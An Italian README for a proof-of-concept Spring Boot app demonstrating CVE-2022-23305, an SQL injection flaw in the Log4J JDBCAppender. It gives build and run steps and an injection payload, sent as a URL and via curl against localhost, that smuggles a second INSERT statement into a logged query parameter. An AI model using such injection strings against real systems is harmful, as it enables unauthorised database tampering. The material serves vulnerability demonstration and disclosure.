
CVE-2022-23305 Log4J JDBCAppender SQl injection POC
Questa è un'applicazione molto semplice basata su Spring Boot che dimostra la vulnerabilità CVE-2022-23305. Utilizza Apache Maven, Spring Boot, Spring MVC e il database in-memory H2 per registrare una semplice voce, presa come parametro della query string dell'URL. Poiché Log4J è configurato per utilizzare un JDBCAppender, è vulnerabile all'iniezione SQL.
Vedi src/main/java/poc/InjectionController.java per l'istruzione di logging.
Vedi la cartella src/main/resource per tutti i file di configurazione.
Puoi eseguire l'applicazione usando Java e Maven eseguendo "mvn clean spring-boot:run".
Puoi anche eseguirla come applicazione Docker, ad esempio:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
L'app sarà disponibile all'indirizzo http://localhost:8080/.
Per sfruttare la vulnerabilità, invia un'istruzione sql iniettata come parametro che viene registrato:
"http://localhost:8080/?param=');insert into logs values(':("
Il risultato elencherà le voci di log aggiunte, inclusa quella inserita dall'sql iniettato nel parametro.
Per fare lo stesso con curl usa:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('